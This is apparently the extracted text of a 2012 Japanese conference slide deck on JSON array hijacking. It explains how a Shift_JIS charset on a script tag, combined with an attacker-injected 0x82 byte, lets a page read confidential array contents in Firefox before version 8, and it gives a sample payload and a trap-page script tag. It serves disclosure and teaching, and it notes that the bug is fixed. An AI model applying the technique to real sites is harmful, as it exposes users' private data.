JS Array Hijacking with MBCS encodings MBCS文字コードを使ったJS配列の乗っ取り Apr 4 2012 Yosuke HASEGAWA JS Array Hijacking with MBCS JSON配列を盗み見する方法 文字コードの応用技 Mozilla Firefox 8 / MFSA2011-47で 修正済み Shibuya.XSS NetAgent http://www.netagent.co.jp/ JS Array Hijacking with MBCS ターゲット 機密情報を含むJS配列 攻撃者が配列の一部をコントロールできる 例えばWebメールの新着通知など 配列内の他のデータも盗み見できる JSON [ "[email protected]","[email protected]" ] Shibuya.XSS NetAgent http://www.netagent.co.jp/ JS Array Hijacking with MBCS ユーザ XHR.send(…) JSON.parse(txt) JSON [ "[email protected]", "..." ] Shibuya.XSS Web mail NetAgent http://www.netagent.co.jp/ JS Array Hijacking with MBCS <script src=“json”> HTML ユーザ 攻撃者 JSON <script src=“json”> From: "...0x82" JSON [ "...0x82", "..." ] Shibuya.XSS Web mail NetAgent http://www.netagent.co.jp/ JS Array Hijacking with MBCS 攻撃対象のJSON (UTF-8) Content-Type: application/json [ "あ", ",alert(/", "alice", "bob", "/.source)]//" ] 攻撃者の用意した罠ページ <script src="http://example.jp/target.json" charset="shift_jis"></script> Shibuya.XSS NetAgent http://www.netagent.co.jp/ JS Array Hijacking with MBCS 攻撃対象のJSON (UTF-8) Content-Type: application/json [ "あ", ",alert(/", "alice", "bob", "/.source)]//" ] UTF-8 22 Shift_JIS あ " " E3 81 縺 82 ? " , " a l e r t ( 22 2C 22 61 6C 65 72 74 28 , " a l e r t ( [ "縺<?>, ",alert(/", "alice", "bob", "/.source)]//" ] Shibuya.XSS NetAgent http://www.netagent.co.jp/ JS Array Hijacking with MBCS 攻撃対象のJSON (UTF-8) Content-Type: application/json [ "あ", ",alert(/", "alice", "bob", "/.source)]//" ] UTF-8 22 Shift_JIS あ " " E3 81 縺 " , " a l e r t ( 82 22 2C 22 61 6C 65 72 74 28 ? " , " a l e r t ( [ "縺<?>",",alert(/", "alice", "bob", "/.source)]//" ] 修正された挙動(IEと同じ) Shibuya.XSS NetAgent http://www.netagent.co.jp/ JS Array Hijacking with MBCS まとめ そもそもJSONのレスポンスにcharsetつ けてないのがイケてない。 とはいえRFC4627には JSON text SHALL be encoded in Unicode. The default encoding is UTF-8. 攻撃可能なサイトは限定的 Shibuya.XSS NetAgent http://www.netagent.co.jp/ JS Array Hijacking with MBCS MFSA 2011-47: Potential XSS against sites using Shift-JIS http://www.mozilla.org/security/announce/2011/mfsa2011-47.html 690225 – Universal XSS likely with MultiByte charset (e.g. japanese sites) https://bugzilla.mozilla.org/show_bug.cgi?id=690225 だいぶ盛りすぎ! もとのタイトルは "JSON hijacking with MultiByte charset"だったのに。 Shibuya.XSS NetAgent http://www.netagent.co.jp/ 質問 [email protected] [email protected] @hasegawayosuke http://utf-8.jp/ Shibuya.XSS NetAgent http://www.netagent.co.jp/
© Copyright 2026 Paperzz